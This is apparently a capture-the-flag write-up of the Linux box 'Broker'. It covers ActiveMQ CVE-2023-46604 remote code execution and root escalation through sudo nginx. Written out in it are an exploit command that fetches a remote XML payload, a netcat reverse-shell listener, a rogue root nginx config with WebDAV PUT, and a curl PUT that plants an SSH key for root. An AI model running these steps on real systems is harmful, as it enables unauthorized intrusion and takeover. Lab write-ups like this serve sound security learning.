Overview
Broker is an easy Linux box built on CVE-2023-46604, a critical unauthenticated RCE in Apache ActiveMQ that made a lot of noise in late 2023. The privilege escalation is a textbook sudo abuse: permission to run nginx as root lets me spin up a rogue web server that both reads any file on disk and, via WebDAV PUT, writes one, which I use to plant an SSH key in root's home.
Recon
The site sits behind HTTP basic auth. Cancelling the auth prompt to trigger the error page leaks the server banner:
Powered by Jetty:// 9.4.39.v20210325
A guess of admin:admin got through the basic auth, revealing the application underneath: Apache ActiveMQ.
Foothold
CVE-2023-46604, ActiveMQ OpenWire RCE
How the bug works: ActiveMQ's OpenWire protocol deserializes class names sent by a client and instantiates them. An attacker can force it to instantiate Spring's
ClassPathXmlApplicationContextpointed at a remote XML file. ActiveMQ fetches that XML and Spring dutifully wires up the beans it defines, including one that runs an OS command. So a single crafted packet plus a hosted XML payload equals RCE as the broker user.
I hosted the reverse-shell XML on Kali and ran evkl1d's exploit, pointing the target at my payload URL:
python3 exploit.py -i 10.129.230.87 -u http://10.10.14.128/poc.xml
The target pulled the XML from my web server:
python3 -m http.server 80
10.129.230.87 - - "GET /poc.xml HTTP/1.1" 200 -
And a shell landed as activemq:
rlwrap nc -lvnp 9001
activemq@broker:/opt/apache-activemq-5.15.15/bin$ whoami
activemq
Privilege Escalation
sudo nginx → Arbitrary File Read, then Write
sudo -l
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
Why running
nginxas root is dangerous:nginxtakes a-c <config>flag, and the config controls everything, which user it runs as, what directory it serves, and which HTTP methods it accepts. Running it as root with an attacker-supplied config turns it into a root-privileged file server (and, with WebDAV, a file writer).
First I served the entire filesystem read-only, enough to read the root flag:
user root;
events { worker_connections 1024; }
http{ server { listen 1337; root /; autoindex on; } }
sudo /usr/sbin/nginx -c /dev/shm/evil.conf
For full access I went further, enabling WebDAV PUT so the server can write files as root:
http{ server { listen 1338; root /; autoindex on; dav_methods PUT; } }
curl localhost:1338 # confirms the whole filesystem is served
Planting an SSH Key
I generated a keypair on Kali, then PUT the public key straight into root's authorized_keys through the rogue server:
ssh-keygen -q -t rsa -N '' -C 'pam'
curl -X PUT localhost:1338/root/.ssh/authorized_keys -d 'ssh-rsa AAAA...= pam'
Root
With the key in place, SSH as root succeeds:
ssh -i evil_rsa root@10.129.45.81
root@broker:~# whoami
root
Takeaways
- Error pages leak versions. Cancelling basic auth exposed the Jetty banner and pointed at ActiveMQ.
- CVE-2023-46604 is a one-packet RCE against unpatched ActiveMQ, keep message brokers off the public edge and patched.
sudoon a flexible binary is as good as a root shell.nginx -cwith an attacker config gives root file read; WebDAVPUTupgrades that to write, and an SSH key turns write into a clean interactive root login.